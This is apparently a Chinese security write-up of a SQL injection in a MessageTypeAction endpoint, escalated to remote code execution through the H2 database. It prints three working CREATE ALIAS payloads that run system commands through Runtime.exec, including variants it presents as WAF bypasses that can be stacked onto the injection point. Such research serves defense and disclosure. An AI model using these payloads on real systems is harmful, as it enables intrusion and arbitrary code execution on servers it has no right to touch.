原本是个SQL注入,因为后端是H2数据库,所以最后能够通过执行代码达到RCE的效果。
SQL注入
注入点就比较常规了,在 MessageTypeAction
类中的 messageType
方法:
传入 typeName
参数,然后进入 this.mobileService.getMessageTypeList
方法,跟进该方法,发现直接带入了 SQL 语句造成了注入漏洞:
H2 RCE
因为后端使用 H2 数据库,所以可以利用h2数据库的 CREATE ALIAS
创建一个 java 函数然后调用它.
按照官方文档照这抄一个1
2
3
4
5CREATE ALIAS EXEC AS
$$ void e(String cmd) throws java.io.IOException
{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$;
CALL EXEC('whoami');
其中2个 $$
貌似是java代码的分隔符,由于 CREATE ALIAS
指令可以使用字符串作为java代码,所以完全可以变形为这样,输入单双引号作为分割:1
2
3CREATE ALIAS EXEC1 AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}';
CALL EXEC1('whoami');
当然也可以使用 CONCAT
这样的内置函数:1
2
3
4CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);',HEXTORAW('007d'));
CALL EXEC('whoami');
用字符串类型的语句就可以很轻松的绕过 waf,效果更好。
最终的 payload 不用多说,因为 H2 支持堆叠,所以在注入点后面加上即可。
ps:很早就发现了注入,但是想的是获取账户权限,结果本身代码中有各种防注入过滤,没有成功,所以以为是个鸡肋的洞,结果可以通过H2数据库执行代码,还是太菜了…